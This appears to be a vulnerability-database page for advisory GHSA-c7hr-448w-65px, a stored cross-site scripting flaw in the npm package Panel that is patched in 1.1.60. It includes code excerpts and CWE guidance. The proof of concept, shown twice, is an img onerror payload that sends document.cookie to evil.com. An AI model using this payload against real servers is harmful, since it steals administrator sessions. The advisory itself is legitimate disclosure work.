GHSA-c7hr-448w-65px: Panel — HIGH

### Description A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details...

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Panel	npm	< 1.1.60	`1.1.60`
5.7K OpenSSF 6.8 499 dependents Pushed 4d ago 65% patched ~14d to patch Full package profile →

Do you use Panel? You're affected.

How severe is it?

CVSS 3.1

8.3 / 10

EPSS

N/A

Exploitation Status

No known exploitation

Sophistication

N/A

What is the attack surface?

AV Network

AC High

PR None

UI Required

S Changed

C High

I High

A High

What should I do?

Patch available

Update Panel to version 1.1.60

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is GHSA-c7hr-448w-65px?

### Description A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted. ### Technical Details ```javascript // meshagent.js:1903 -- Agent input, only type check if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc; change = 1; } // default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml() if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); } // addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML // INCONSISTENCY: Same field IS escaped elsewhere: // Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s) // Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '') ``` Additional unescaped agent fields: - node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH - cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM - volumes[].name unescaped in file browser (line 12612) -- MEDIUM No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline. ### Proof of Concept Rogue agent sends via WebSocket: ```json { "action": "coreinfo", "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>", "name": "Legit-PC" } ``` Payload fires when any admin views the device details panel. No click required. <img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />

Is GHSA-c7hr-448w-65px actively exploited?

No confirmed active exploitation of GHSA-c7hr-448w-65px has been reported, but organizations should still patch proactively.

How to fix GHSA-c7hr-448w-65px?

Update to patched version: Panel 1.1.60.

What is the CVSS score for GHSA-c7hr-448w-65px?

GHSA-c7hr-448w-65px has a CVSS v3.1 base score of 8.3 (HIGH).

What are the technical details?

Original Advisory

### Description A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted. ### Technical Details ```javascript // meshagent.js:1903 -- Agent input, only type check if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc; change = 1; } // default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml() if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); } // addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML // INCONSISTENCY: Same field IS escaped elsewhere: // Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s) // Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '') ``` Additional unescaped agent fields: - node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH - cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM - volumes[].name unescaped in file browser (line 12612) -- MEDIUM No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline. ### Proof of Concept Rogue agent sends via WebSocket: ```json { "action": "coreinfo", "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>", "name": "Legit-PC" } ``` Payload fires when any admin views the device details panel. No click required. <img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />

Weaknesses (CWE)

CWE-20 Improper Input Validation Primary CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Primary

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

[Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
[Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.